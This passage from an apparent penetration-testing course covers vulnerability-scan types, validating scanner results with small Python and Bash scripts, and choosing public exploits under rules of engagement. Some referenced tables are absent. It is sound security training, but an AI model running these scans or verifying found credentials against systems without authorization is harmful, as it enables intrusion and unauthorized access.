EPSS estimates how likely exploitation is (Lesson 14), and (kev) marks CISA's Known Exploited Vulnerabilities catalog. A match says the component is present, not that the flawed function is ever called, so someone must read the code or run IAST to find out. And scanners disagree. Imtiaz, Thorne and Williams ran nine SCA tools against one application in 2021. Counts of vulnerable dependencies ran from 17 to 332 on its Maven projects, and they advised against relying on any single tool. The fix is an upgrade, or an override where a parent library has no new release, plus a current SBOM.

DAST: asking the running application

Dynamic application security testing (DAST) works from outside: it sends requests to a running application and judges the responses. It needs no source code, which makes it the answer when a stem gives you only a URL. ZAP, from Lesson 8, shows the two speeds.

• Passive scanning reads traffic passing through the proxy. ZAP's guide says it does not change responses and is considered safe.
• Active scanning sends known attacks. ZAP's documentation calls it an attack, says not to use it on applications you do not own, and warns of real damage to functions and data, so it belongs on a test environment named in the ROE.

Defect 6 is a passive result. This sample alert uses the rule's real details and a fictional URL:

Alert:    Content Security Policy (CSP) Header Not Set   (rule 10038-1, passive)
Risk:     Medium
CWE:      693     WASC: 15
URL:      https://portal-staging.example.com/invoices
Solution: set the header on the web server, application server or load balancer

The solution line explains why SAST missed it: the setting lives on a load balancer, outside the repository. A test login widens what DAST reaches, as with authenticated scans in Lesson 10: logged out, the crawl stops at the sign-in page. Even then, ZAP's documentation says broken access control "will not be found by any active or automated vulnerability scanning". That is defect 9: a driver opening another driver's invoice gets a normal page, and only a person knows it should have been refused.

Try the quiet version in your lab: browse Juice Shop at 127.0.0.1:3000 through ZAP's Manual Explore, read the Alerts tab, and leave active scanning off.

IAST: a sensor inside the running application

Interactive application security testing (IAST) joins the two views. NIST describes an agent in the test runtime, for example instrumenting the Java virtual machine; OWASP's guideline describes sensors that watch code and data flow while a test or a person exercises the application. Seeing the request and the code at the same moment, it can report both. Products differ, so this is the kind of record to expect, not any vendor's format:

SQL injection (CWE-89)
Request:  GET /invoices/1042, sent by the QA test suite
Source:   query parameter "id", read at routes.py:17
Sink:     conn.execute(), invoices.py:43, value joined into the SQL text

The limit is coverage: if the test suite never opens the export page, the sensor is silent about it. IAST also needs an agent on the server, which the ROE must allow, and a supported runtime. Public documentation is thin and mostly from vendors, so learn the concept, and if the client already runs one, ask for its results. The exam shortcut: agent plus tests means IAST; no agent means DAST.

Mobile scans: take the package apart, then watch it run

A mobile scan starts from something you can hold: an Android APK or an iOS IPA. You need no source code, though OWASP's testing guide strongly advises asking for it. MobSF, the Mobile Security Framework, is the open source tool to know: its static analyzer reads packages and source, and its dynamic analyzer runs the app on emulators, simulators or physical devices. Static analysis starts with the manifest, where defect 7 begins (fictional excerpt; Lesson 22 covers attacks on phones):

<application
    android:debuggable="true"
    android:allowBackup="true"
    android:usesCleartextTraffic="true">

Android's documentation defines each: the app can be debugged even on a user's phone; it takes part in backup and restore; it intends to send cleartext traffic. Static analysis also turns up hardcoded keys and each bundled software development kit (SDK), which is SCA on a phone. Dynamic analysis shows what the app stores and sends when it runs. Neither tests the server behind the app, so run DAST on its API too. The fixes: release builds with the debug flag off, a network security configuration, and keys moved to the server.

Secrets scanning: TruffleHog and the verification question

Secrets scanning hunts credentials stored where they should not be, like the Toyota key from Lesson 6. TruffleHog is the exam's tool. Its README, checked at release 3.99.8 on 3 November 2026, still says it classifies over 800 secret types, and it searches Git history, filesystems, images, object stores and logs. History is the point: Git keeps every commit, so defect 3 is in no current file, and a scan of the files as they stand may miss it. Here is a fictional result in TruffleHog's format, from trufflehog git file://. --no-verification:

Found unverified result
Detector Type: AWS
Raw result: AKIA[rest removed]
Line: 3
Commit: [hash removed]
File: config/deploy.env

The first line carries the status, which is what separates this tool from grep.

The README says that for every secret it can classify, TruffleHog can "log in to confirm" whether it is live; for an AWS key, it makes a GetCallerIdentity call with that key. Verifying a credential is using it, so it needs written permission like any other use. It is on by default, which means a bare scan command tries every credential it can classify. The call lands in the client's CloudTrail under your address. A decoy key planted to raise an alarm when used can wake the client's security team (the AWS detector's source lists accounts of one such service, Canarytokens).

TruffleHog's analysis feature, which sends many requests to learn what a credential can reach, needs its own permission.

So on a client job, run with --no-verification unless the ROE names verification, and send each candidate to the client's named contact, who can check its status in their own console without anyone using it.

Now change one flag. Many README examples use --results=verified, which prints only verified results. From an isolated network the call cannot reach AWS, so the status is unknown, the filter drops it, and the screen stays empty. The same happens with a password for an internal database you cannot reach. An empty verified-only run says nothing about whether secrets exist.

Trivy finds secrets too, masking the match, and its documentation describes no step that tests the credential; choose TruffleHog for Git history and classification. The fix starts with rotation: GitHub's guidance says to revoke or rotate first, because rewriting history cannot reach existing clones and forks. Then use a secrets manager, and add the pre-commit hook and pipeline check TruffleHog supports.

The core of it: finding a secret is reading, and verifying a secret is using it. Get the second in writing first, and never read "unverified" as "dead".

Container images: what Trivy and Grype read in the layers

Container scans take two forms: the image at rest, and the running container from beside it (next section). NIST SP 800-190 calls images effectively static archive files and names five image risks. Trivy and Grype match package versions to advisories for the first, image vulnerabilities. Trivy also checks configuration defects and embedded clear text secrets, and TruffleHog's docker mode finds secrets too. Embedded malware is on neither scanner's list, and untrusted images are a policy question.

Try both on Juice Shop in your lab: sudo trivy image --skip-db-update bkimminich/juice-shop and sudo grype bkimminich/juice-shop. It is deliberately vulnerable, so expect long lists. Trivy's output looks like this, abridged from its documentation with the image renamed:

portal:1.4 (alpine 3.20.5)
Total: 6 (UNKNOWN: 2, LOW: 0, MEDIUM: 2, HIGH: 2, CRITICAL: 0)
Library     Vulnerability   Severity  Status  Installed  Fixed     Title
libcrypto3  CVE-2024-12797  HIGH      fixed   3.3.2-r1   3.3.3-r0  openssl: RFC7250 handshakes with...

Expect the two totals to differ; the SCA study named database accuracy as a key differentiator. Trivy also prefers vendor advisories for operating system packages, because vendors backport fixes, the false positive Lesson 12 opens on.

Now scan the same image next month, byte for byte, with a fresh database, and new rows should appear. NIST makes the point: an image free of known flaws when built does not stay that way. So your evidence needs the tool version, the database date (grype db status shows Grype's) and the image digest rather than a tag such as latest, because a tag can move. The fix, NIST says, goes upstream: rebuild the image from a patched base and redeploy, not patch a running container.

Tags moved in a real case. On 19 March 2026 an attacker with stolen credentials published a malicious Trivy v0.69.4. The attacker also force-pushed 76 of the 77 version tags in the trivy-action GitHub Action to credential-stealing code. Images referenced by digest were spared (Aqua advisory GHSA-69fq-xp46-6x23; the current release is v0.76.1). So pin scanners by digest or commit hash, and check a tool's advisories before pointing it at a client's code.

Sidecar scans: a scanner in the same pod

CompTIA lists sidecar scans without defining them, and we found no standard that does, so this is the working meaning, built from Kubernetes' documentation and two published designs. In Kubernetes, a pod is one or more containers sharing a network namespace, and a sidecar is a secondary container beside the main one. A sidecar scan puts a scanner or run-time sensor in that position, so it examines a live container from next door. MITRE's kube-secure-scanner publishes this design (trimmed here):

spec:
  shareProcessNamespace: true     # the scanner can see the app's processes
  containers:
  - name: app
  - name: scanner

With the process namespace shared, Kubernetes documents that each container's filesystem is visible to the others through /proc/$pid/root, which is how the scanner reads the running app.

AWS GuardDuty is the second real example: Fargate tasks cannot be changed after they start, so it adds a sidecar to each new task at launch to collect run-time events.

A pipeline or registry scan sees the image at rest and nothing at run time. A node agent sees every pod on its node, but needs the node, which serverless platforms such as Fargate do not offer. A sidecar sees one live pod from inside, at the cost of changing the pod specification and running for the pod's whole life.

MITRE's risk analysis says the sidecar breaks container isolation for as long as the pod lives, and Kubernetes warns that passwords passed as arguments or environment variables become visible too. So use it only where the ROE allows changing a pod, record the change, and remove it at cleanup (Lesson 26).

Kubernetes clusters: Kube-hunter on the exam, Trivy at work

Kube-hunter looks for weaknesses in a running cluster. It is on the exam, but its README now opens with a notice that it is not under active development and that Aqua recommends Trivy; its latest release is v0.6.8, from May 2022. Learn its three positions:

• any outside machine (--remote) gives an attacker's-eye view
• a machine in the cluster (--interface) shows what its network interfaces reach
• a pod (--pod) shows how exposed the cluster is if an application pod is compromised

By default it needs no credentials, and a normal hunt never changes the cluster's state. --active may exploit what it finds, which the README warns could be harmful. The README says never to run the tool on a cluster you do not own. Your lab has no cluster, so stop at kube-hunter --list, which prints the tests without contacting anything. A result row has six columns: ID, location, MITRE category, name, description and evidence. This fictional row uses a real ID and wording for defect 8:

KHV005 | 192.0.2.20:6443 | Initial Access // Exposed sensitive interfaces | Unauthenticated access to API | The API Server port is accessible. [wording shortened] | [response removed]

Trivy is the working replacement. trivy k8s --report summary connects with your kubeconfig under a role that can list resources. Its documentation still marks this experimental, and by default a node-collector job runs inside the cluster, so the ROE must allow that, or use --disable-node-collector and lose the node findings. If a stem asks for an outside view with no credentials, think Kube-hunter; if it offers a kubeconfig, think Trivy.

A worked performance-based question: one key, one clause, two decisions

You are testing Meridian's portal. ROE clause 7 reads: "No credential found during testing may be used, including to test whether it is valid, without written approval from the named security lead." Four results:

Decide: the order for the client, and whether any goes today; and whether you may confirm the key is live.

1. Order: A, B, C, D, with A today. A severity column would put B first, because TruffleHog gives A no severity at all. But AKIA marks a long-term key (Lesson 8), which works until someone turns it off, and anyone who can read the repository can recover it, so it goes through the escalation path the same day. B follows closely: Critical, with a KEV entry, though someone must still read the code to learn whether the service logs anything a user controls (Lesson 12). C is a template result not yet confirmed live. D is a missing protection, not a flaw an attacker can use by itself.
2. Confirm the key? No. Rerunning without --no-verification would breach clause 7. Send the redacted candidate to the security lead and ask them to check it. "Deleted in the next commit" changes nothing, because Git kept it.

Second run, one changed input. The security lead emails written approval to verify that one key today. If it returns verified, A is a confirmed live key: Critical. You stop there, because approval to verify is not approval to explore, and the incident path takes over. If unverified, it probably no longer logs in: severity falls, but the finding stays open as a control failure until the client confirms rotation. If unknown, you have learned nothing about the key, so check your own network and say so.

The whole family at a glance

Exam cues: what the stem hands you, and the scan it points to

How these scan findings are reported

A scanner's row is evidence, not a finding: you add what it means. Here is result A, written as you would for a client.

• Title: AWS access key remains in the invoice-portal Git history.
• Severity: High pending the client's check, Critical if the key is active. Anyone with repository read access can recover it, and an AKIA key does not expire by itself. Its status and rights were not tested, as ROE clause 7 requires.
• Evidence: TruffleHog 3.99.8, trufflehog git file://. --no-verification, run on the stated date. Detector AWS, status unverified, config/deploy.env line 3, commit [hash removed]. Value redacted. Key not used.
• Root cause: a credential was committed in a configuration file. Deleting the file removed it from the current tree, not from history, and no pre-commit or pipeline secrets check was in place.
• Remediation: deactivate and replace the key first. Review CloudTrail for use since March 2024. Move to a secrets manager or short-lived role credentials. Add TruffleHog as a pre-commit hook and a CI/CD check. Rewrite history only afterward, knowing it cannot reach existing clones and forks. Retest with the same command.

The other scans follow the same shape. An SCA finding says "present" or "reachable" and which you proved. An IaC finding says whether it was confirmed live. An image finding gives the digest and database date. A DAST finding gives the request, response and environment. List what went unscanned as limitations, such as "prod.tfvars not supplied".

Common misconceptions

• "A clean SAST report means the code is safe." SAST struggles with authentication and access control, and often cannot see configuration.
• "Deleting the file removes the secret." Git keeps every commit, and clones keep their copies. Rotate first.
• "Unverified means dead." It means not confirmed: verification may have been off, blocked or unable to reach the service.
• "Verification is a harmless part of scanning." It uses the credential, shows in the provider's logs and needs written permission.

Summing up

• SAST reads code without running it, through source code analysis and IaC; it names the line but misses logic flaws and settings outside the code.
• SCA matches third-party components, including transitive ones, to known vulnerabilities; presence is not proof of use, and nine tools in one 2021 study reported 17 to 332 vulnerable Maven dependencies for one application.
• DAST needs a running application and no source; ZAP's passive scanning is considered safe, and its active scanning is an attack.
• IAST is an agent plus test traffic: it reports the request and code line, and is silent about code the tests never run.
• TruffleHog classifies over 800 secret types and reports verified, unverified or unknown. Verifying is using the credential, needs written permission, and is on unless you pass --no-verification.
• Trivy finds vulnerabilities, misconfigurations, secrets and licenses; Grype finds known vulnerabilities, ranked with EPSS and KEV. Record tool version, database date and image digest.
• A sidecar scan puts the scanner in the same pod, often sharing its process namespace, which needs a pod change and weakens isolation.
• Kube-hunter runs remotely, on a cluster machine or in a pod, needs no credentials by default, changes state only with --active, and is no longer actively developed.

Sources

1. Truffle Security. (2026). TruffleHog (Version 3.99.8): README and AWS detector source. github.com
2. Anchore. (2026). Grype (Version 0.121.1): README; Interpreting the results; Configuration. github.com
3. Aqua Security. (2026). Trivy (Version 0.76.1): README and guide; trivy-checks (AWS-0107, DS-0002); kube-hunter README; and Advisory GHSA-69fq-xp46-6x23, March 21, 2026. Trivy guide; kube-hunter; advisory
4. Souppaya, M., Morello, J., and Scarfone, K. (2017). Application container security guide (NIST SP 800-190), sections 3.1 and 4.1; and Chandramouli, R. (2022). Implementation of DevSecOps for a microservices-based application with service mesh (NIST SP 800-204C), section 4.8. National Institute of Standards and Technology. SP 800-190; SP 800-204C
5. OWASP Foundation. (n.d.). Source code analysis tools; Static code analysis; DevSecOps guideline: Interactive application security testing; Mobile application security testing guide. SAST tools; MASTG
6. ZAP Dev Team. (n.d.). Active scan; Getting started; Alert 10038-1. getting started
7. The Kubernetes Authors. (n.d.). Sidecar containers; Pods; Share process namespace between containers in a pod. kubernetes.io. MITRE. (n.d.). Kube secure scanner: Sidecar container approach; risk analysis. mitre.github.io
8. Amazon Web Services. (n.d.). Deploying the security agent to Amazon ECS on Fargate; Logging IAM and AWS STS API calls with AWS CloudTrail. GuardDuty; CloudTrail
9. Imtiaz, N., Thorne, S., and Williams, L. (2021). A comparative study of vulnerability reporting by software composition analysis tools. arXiv:2108.12078. arxiv.org
10. Apache Software Foundation. (n.d.). Log4j security vulnerabilities (CVE-2021-44228). logging.apache.org
11. Other documentation read 3 November 2026: PyCQA, Bandit B608; MobSF README; Bridgecrew, Checkov README; Android Developers, application element; GitHub Docs, Removing sensitive data from a repository. Bandit; MobSF; Android; GitHub

The patch that kept the old version number

On 1 July 2024, Ubuntu fixed a remote code execution flaw in the OpenSSH on its 24.04 servers, and the fixed software went on announcing itself as version 9.6p1, a number inside the vulnerable range. A tool that only compares version numbers will call that server vulnerable for as long as it runs. Here is what that does to a status note from Jonas, a fictional tester on his first solo job, about Brightwater Clinics, a fictional client whose scope is 203.0.113.0/26, which is 62 usable addresses.

1 CRITICAL  203.0.113.20  CVE-2024-6387, remote code execution in OpenSSH.
            Evidence: scanner result; banner SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.3
2 CLEAN     203.0.113.21  File server. Authenticated scan: 0 missing patches.
3 COVERAGE  All 62 in-scope hosts scanned, all ports.
4 NEXT      Tonight: run a public exploit for line 1 to prove impact. Found a
            GitHub repo with 400 stars that promises a root shell.

Every fact in that note came from a tool, and all four conclusions are wrong, each in its own way. Those four failures are what objective 3.2 tests, and they need names.

Scanners make both errors routinely. NIST SP 800-115 warns of high false positive rates and of flaws that signature-based tools miss, and tells assessors not to simply accept a scanner's risk ratings.

In short: tool output is a claim. You report what you confirmed and label the rest as unconfirmed.

Exam objectives: 3.2 (validating scan, reconnaissance and enumeration results: false positives, false negatives, true positives, scan completeness and troubleshooting scan configurations; public exploit selection; using scripting to validate results).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A second look at a host is a second touch of that host, and it needs the same authorization as the first. Jonas's client is fictional. Every command you run names your own lab: Metasploitable at 192.168.56.102 and Juice Shop at 127.0.0.1:3000, from Kali with its NAT adapter disconnected. No exploit runs here and no exploit code appears. Nessus needs an account, so its output appears only as samples.

Line 1: how backporting produces a false positive

The scanner read the banner and found 9.6p1 inside the range Qualys published for CVE-2024-6387: 8.5p1 up to, but not including, 9.8p1. The flaw allows remote code execution (RCE), meaning an attacker's code runs on the server over the network, here with no login. The number matched, so the scanner raised the alarm.

Lesson 7 told you a banner is a claim. Here is why this one misleads. Distributions rarely jump to a new upstream release to fix one bug, because that can break whatever was built on the old one. They copy the fix into the release they already ship, which is backporting. Red Hat warns that the version number alone will not say whether a package is vulnerable, and that tools deciding on version alone produce false positives.

Ubuntu's notice USN-6859-1 lists the fixed package for 24.04 as 1:9.6p1-3ubuntu13.3. A Debian-style version reads epoch, upstream version, then the distribution's revision, and only the revision changed. That revision also appears in the banner, unless an administrator turned it off with the DebianBanner setting. So one plugin and one upstream version can give three verdicts.

Two characters, the final .3, flip the verdict. The suffix is a good hint but still a claim. Proof comes from the package system, using credentials the client supplied. On Debian and Ubuntu, use dpkg -s openssh-server | grep Version. On the Red Hat family, use rpm -q --changelog openssh-server and look for the CVE number. Compare the answer with the vendor's fixed version, never with the upstream number. Try this in your lab: on Metasploitable's console, as msfadmin, that dpkg command should show something like Version: 1:4.7p1-8ubuntu1.

Good scanners tell you how far to trust a result, if you look. Greenbone's Quality of Detection (QoD), used with OpenVAS, scores each result by how it was found.

By default Greenbone displays only 70% and above, and warns that lower results are prone to false positives. Notice the trade: that filter also hides real weaknesses that only a weak test noticed. Tenable Nessus makes a similar trade with Safe Checks, on by default, which use banner grabbing rather than active testing.

The validation step every result must pass

Lesson 7 promised a validation step before any finding is reported, and Lesson 9 told you to note which results you checked by hand. Here it is, for any output from OSINT to a vulnerability scanner.

1. State the claim. One sentence: this weakness, on this host and port.
2. Ask how the tool knows. A banner, an active response, a package list, someone else's index? Read the result's detail, not its title.
3. Check it a different way, by hand. This is the manual check. A different method fails differently, while rerunning the same scan proves only that the tool is consistent.
4. Run a control. A negative control asks something that cannot be true, such as a page that cannot exist. A positive control points your setup at something it must find, such as Telnet on Metasploitable.
5. Record a verdict. Confirmed, false positive or unconfirmed, with the command, date, source address and raw output, in the evidence file from Lesson 9.

A sensible default is every Critical and High result by hand, then scripts and a recorded sample for the rest, unless your firm sets its own rule. If a check would need more than verification, stop and read the ROE: NIST says target validation carries the greatest risk of any assessment technique.

The same check across reconnaissance, scanning and enumeration

The objectives' acronym list writes "Secure Socket Layer", but the protocol's name in RFC 6101 is Secure Sockets Layer, the predecessor of TLS. RFC 7568 says SSL 3.0 must not be used, so a confirmed result is a real finding, filed against whichever device answered.

Line 2: the clean host nobody actually examined

Zero missing patches sounds like good news. Apply step 2: how does the tool know? An authenticated scan logs in and reads what is installed, so zero means either fully patched or never got in. The scan's own record says which. In Nessus, plugin 19506 prints each host's scan settings, and other plugins report login problems. This sample is fictional, and wording varies by version.

Host 203.0.113.21
  19506   Nessus Scan Information
          Credentialed checks : no
  104410  Target Credential Status by Authentication Protocol - Failure for Provided Credentials
  21745   OS Security Patch Assessment Failed

The login failed, so the patch checks never ran. The honest statement is "not assessed", and it goes in the limitations. Now change one input: the administrator fixes the service account, you rescan, the line reads Credentialed checks : yes, as 'svc_scan' via ssh, and 31 missing patches appear. Same host, same scanner, opposite story. Learn the third state too: plugin 110385, Insufficient Privilege, means the login worked but the account could not read everything, so partial results look complete.

A false negative produces no output of its own, so you look for it in the scan's setup. These are the usual causes.

• A login that failed or lacked privilege.
• A port outside the list. A default Nmap scan covers 1,000 ports, and Metasploitable's distccd on 3632, which Rapid7's guide says an attacker can abuse to run commands, is not among them.
• A test turned off or filtered out: Safe Checks, a narrow policy, a QoD filter.
• A stale plugin set or feed. A scanner cannot flag what its plugins do not contain, and plugin 19506 reports the set's version.
• A broken script, like smbcheck.sh in Lesson 9, which printed nothing with port 445 wide open.

To test for these, use a positive control: if your policy cannot find Telnet on Metasploitable, it cannot find Telnet anywhere. NIST adds a second tactic, comparing more than one scanner. Neither makes a false negative impossible, which is why a report says what was tested rather than promising the host is secure.

Line 3: proving scan completeness from the tool's own record

"All 62 hosts, all ports" can be tested, because Nmap writes down what it did. The XML you parsed in Lesson 9 records the ports planned per protocol and lists the hosts found up. This script compares it with a scope file holding one address per line.

#!/usr/bin/env python3
"""coverage.py SCOPE.txt SCAN.xml: what did this Nmap scan actually cover?"""
import sys
import xml.etree.ElementTree as ET

scope = {line.strip() for line in open(sys.argv[1]) if line.strip()}
try:
    root = ET.parse(sys.argv[2]).getroot()
except ET.ParseError:
    sys.exit("INCOMPLETE: the XML is cut off, so this scan never finished")

for info in root.iter("scaninfo"):
    print(f"planned: {info.get('numservices')} {info.get('protocol')} ports per host")

up = {h.find("address").get("addr") for h in root.iter("host")
      if h.find("status").get("state") == "up"}
print(f"in scope: {len(scope)}, answered: {len(up)}")
for address in sorted(scope - up):
    print(f"NOT SEEN, ports never scanned: {address}")

Fed Jonas's file, it prints this fictional sample:

$ python3 coverage.py scope.txt brightwater.xml
planned: 1000 tcp ports per host
in scope: 62, answered: 54
NOT SEEN, ports never scanned: 203.0.113.37
[seven more addresses removed]

"All ports" was 1,000 TCP ports, and with no second planned line, no UDP at all. "All 62 hosts" was 54. Nmap does not port-scan a host that fails discovery, so those eight may be empty or may ignore ping, and he cannot say which until he rescans with -Pn or checks the client's asset list.

On your own files, with 192.168.56.102 as the only line in scope.txt, lab-full.xml from Lesson 7 should give planned: 65535 tcp ports per host and one host answered. Change one input: scan with defaults, sudo nmap -sS 192.168.56.102 -oX lab-default.xml, and the planned line drops to 1000, while scan2csv.py from Lesson 9 counts about 23 open ports rather than 30. (It overwrites open.csv, so rerun it on lab-full.xml afterward.) If you stop a scan with Ctrl+C, the script says INCOMPLETE, and nmap --resume can continue from the saved file.

Other tools keep similar records: plugin 19506 reports port range and duration, and a dynamic web scan's crawl list shows whether it got past the login page. One that stayed on /login tested one page.

Troubleshooting scan configurations: symptom, cause, change

When a result looks wrong, fix the configuration before you trust the next run. Nmap will show its reasoning: --reason prints the packet that decided each state, XML stores it either way, and tcpdump in a second terminal shows what truly left your interface, as in Lesson 7. Sample output:

$ sudo nmap -sS --reason -p 21,8888 192.168.56.102
PORT     STATE  SERVICE        REASON
21/tcp   open   ftp            syn-ack ttl 64
8888/tcp closed sun-answerbook reset ttl 64

Repeat Lesson 7's firewall experiment and port 21 reads 21/tcp filtered ftp no-response. The service is the same; the silence is what changed.

Scripting to validate results: a second method and a control

Hand checks do not scale to 300 rows, so script the dull part, using a different method from the tool you are checking. recheck.py reads the open.csv from scan2csv.py, refuses anything outside scope, completes a full TCP connection rather than a half-open probe, reads whatever the service says first, and prints a dated verdict. It pauses between rows, as portcheck.sh does, to respect the ROE's rate.

#!/usr/bin/env python3
"""recheck.py FILE.csv: test each row of a scan2csv.py file a second way."""
import csv
import ipaddress
import socket
import sys
import time

# ... SCOPE and def in_scope, copied unchanged from your scraper in Lesson 9 ...


def recheck(host, port):
    """Complete a full TCP connection, then read what the service says first."""
    try:
        with socket.create_connection((host, port), timeout=3) as conn:
            try:
                return "CONFIRMED", conn.recv(200).decode(errors="replace").strip()
            except socket.timeout:
                return "CONFIRMED", "(no greeting)"
    except OSError as problem:
        return "NOT CONFIRMED", type(problem).__name__


for row in csv.DictReader(open(sys.argv[1], newline="")):
    if not in_scope(row["host"]):
        print(f"REFUSED {row['host']}: outside scope")
        continue
    verdict, evidence = recheck(row["host"], int(row["port"]))
    print(time.strftime("%Y-%m-%d %H:%M"), f"{row['host']}:{row['port']} {verdict}: {evidence}")
    time.sleep(0.5)

$ python3 recheck.py open.csv | tee validated.txt
2026-11-03 21:14 192.168.56.102:21 CONFIRMED: 220 (vsFTPd 2.3.4)
2026-11-03 21:14 192.168.56.102:22 CONFIRMED: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
2026-11-03 21:14 192.168.56.102:445 CONFIRMED: (no greeting)
[further rows removed]

That is expected output, not a capture from your machine. Port 445 shows no greeting because an SMB server waits for the client to speak first.

Change one input: block port 21 on Metasploitable as in Lesson 7 and rerun with the same file, and that row becomes NOT CONFIRMED: TimeoutError. Restore your snapshot afterward. NOT CONFIRMED is a question, not a false positive: the port was open when you scanned, so something changed, and you find out what.

Note the limit too. CONFIRMED means a connection and a greeting, and a greeting is still a claim, so this script can confirm a port but never a CVE.

The negative control suits Bash. softcheck.sh asks for a page that cannot exist, then compares each path a directory tool reported. It uses the [[ ]] pattern tests from portcheck.sh and the < /dev/null guard Lesson 9 taught for while read loops.

#!/bin/bash
# softcheck.sh TARGET FILE: does each found path differ from a page that cannot exist?
target=$1
file=$2
if [[ "$target" != 192.168.56.* && "$target" != 127.0.0.1* ]]; then
    echo "REFUSED $target: outside scope"
    exit 1
fi
fetch() { curl -s -o /dev/null -w "%{http_code} %{size_download}" "$target/$1"; }
control=$(fetch "no-such-page-$RANDOM")
echo "control: $control"
while read -r path
do
    result=$(fetch "$path" < /dev/null)
    if [[ "$result" == "$control" ]]; then
        echo "$path: $result, SAME AS CONTROL, likely false positive"
    elif [[ "$result" == 404* ]]; then
        echo "$path: $result, not found"
    else
        echo "$path: $result, differs from control, check by hand"
    fi
    sleep 0.5
done < "$file"

These samples show the shape, and your numbers will differ.

$ bash softcheck.sh 192.168.56.102 found.txt
control: 404 296
backup: 404 284, not found
phpMyAdmin/: 200 4145, differs from control, check by hand

$ bash softcheck.sh 127.0.0.1:3000 found.txt
control: 200 80117
backup: 200 80117, SAME AS CONTROL, likely false positive
ftp: 200 11064, differs from control, check by hand

One changed input, the target, flips the reading of backup. Juice Shop's server sends its single-page app for almost any path outside /api and /rest. That is also why your scraper came back empty in Lesson 9. So a page that cannot exist looks like a hit. Its /ftp is a real directory listing. "Differs" is not proof either: it tells you where to look next.

Line 4: public exploit selection starts with whether you need one

Jonas's fourth line fails before anyone reads any code. Line 1 was a false positive, so tonight's exploit would have been aimed at a patched server.

First prove the weakness is real, then ask whether an exploit adds anything.

NIST says validation exists to prove that a vulnerability is there and show the exposure, and warns that real exploits against production systems carry high risk. If a package query already proves the fix is missing, an exploit adds evidence of impact along with risk, and the ROE decides whether that trade is allowed. Lesson 14 returns to this when you plan an attack path. If an exploit is justified, here is where testers look.

• Exploit Database (Exploit-DB), maintained by OffSec: an archive of public exploits and proofs of concept (PoC), cross-referenced to CVEs, with a Verified filter. That mark is a useful signal, but it says nothing about your target, your build or your ROE.
• SearchSploit: its command-line search over a local copy, on Kali. -x opens an entry so you can read it. --nmap checks every service in a version scan's XML, which hands you a list matched on version, with all the false positives that implies.
• Metasploit modules, which carry a rank and written notes on their risks.
• GitHub and similar sites, where anyone can upload anything under any name.

$ searchsploit harborftp
---------------------------------------------- ----------------------------
 Exploit Title                                |  Path
---------------------------------------------- ----------------------------
HarborFTP 3.1 - Remote Buffer Overflow        | windows_x86/remote/00001.py
HarborFTP 3.1 - Denial of Service (PoC)       | linux/dos/00002.c
---------------------------------------------- ----------------------------

The product and entries are fictional; the layout is real. The listing already says a lot: the folder names the platform, dos says what the second entry does, and (PoC) warns that it may only demonstrate the flaw.

Six questions for any published exploit

Why read it first. A public exploit runs with your rights on your machine, which holds other clients' data. A Leiden University team checked 47,285 GitHub repositories of proofs of concept for CVEs from 2017-2021 and found signs of malicious intent in 899, or 1.9%: calls to malicious addresses, encoded malicious code and trojanized binaries. (An earlier version of the paper reported 10.3%, a figure that still circulates.)

In December 2024, Datadog Security Labs documented a threat actor, MUT-1244, publishing trojanized exploits under CVE names, with fake accounts starring and forking each other's repositories while vulnerability feeds listed them automatically. So 400 stars is not evidence.

Why a wrong match crashes things. A memory-corruption exploit writes past the end of a buffer and depends on what sits beside it, and that layout changes with build, architecture and memory randomization. Guess wrong and the program is left running on corrupted memory, so it usually dies rather than failing politely.

Reliability has a vocabulary. Metasploit's ranks, in order, are:

• Excellent (should never crash the service)
• Great, Good and Normal, which differ in how well they find the right target
• Average (50% or better on common platforms)
• Low (under 50%)
• Manual (15% or lower, basically a denial of service)

Module notes cover stability (CRASH_SAFE, CRASH_SERVICE_DOWN), side effects (ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ACCOUNT_LOCKOUTS) and reliability (UNRELIABLE_SESSION). These are the questions to ask of any exploit. A rank is not permission: Excellent speaks about crashing, and a tidy exploit can still change the system.

Check claims against the primary advisory. Qualys reported that on 32-bit Debian 12.5 it took about 10,000 tries on average to win the CVE-2024-6387 race condition and about 6-8 hours to get a shell, with a 64-bit exploit much harder. A repository promising a quick root shell has a gap to explain, and those hours of repeated connections show in every log.

A worked choice: three published exploits, one set of rules

The target, all fictional: HarborFTP 3.1 on 64-bit Ubuntu, the production server for a clinic's file transfers. A package query has confirmed the vulnerable build. The ROE allows exploitation of in-scope hosts from 22:00 to 02:00, excludes denial of service, and names a contact to call if a service fails.

Under these rules, nothing runs on production. You report the flaw as validated by package version, state that exploitation was not attempted and why, and ask the client how to proceed. Now change one input: the client adds a staging clone to the scope in writing, with the same build, restorable from a snapshot. C becomes the right choice, on the clone, inside the window, with the contact on standby, after you have run it on your own isolated copy and watched what it changes. A and B stay rejected, because their problems have nothing to do with where they run.

In short: prove the flaw first, read the exploit before it runs, and let the ROE, not your curiosity, decide whether it runs at all.

A worked question in the exam's format

A simulation might hand you an export like this one, all fictional, and ask you to sort it: true positive, false positive, false negative or unconfirmed, with a next action for each row. Try it before you read the answer.

• A is a true positive. The package is older than the fixed version in USN-6859-1. Write the finding; you need no exploit to prove the fix is missing.
• B is a false positive. That is exactly the fixed version. Remove it and note why, because the client's own scanner will raise it too.
• C is a suspected false negative. The login failed, so "0" means not assessed. Fix the account and rescan.
• D is a false positive. /backup cannot be told apart from a page that cannot exist: a soft 404. Filter on length and rerun.
• E is a false negative. Port 27017 is outside Nmap's default 1,000 ports. Scan that port by name, then validate what answers.
• F is unconfirmed. The port answered on Tuesday and something changed, a firewall or the service itself. Ask the client, rerun, and keep Tuesday's evidence with its date.

Only row A enters the findings today. B and D go to your notes on rejected results, and C, E and F stay under limitations until retested. Asked "which row justifies a public exploit tonight?", the answer is none: A is already proven, and the rest are not yet known to be real.

Exam cues: what the stem says and what it wants

How validated results are reported

Here is row A as you would write it for the fictional client.

• Title: OpenSSH on 203.0.113.33 lacks the fix for CVE-2024-6387.
• Severity: High, not the scanner's Critical. The CVE record scores it 8.1: no login is needed and the impact is full, but attack complexity is high, and Qualys needed hours of attempts. The host is reachable from the internet, which keeps it High.
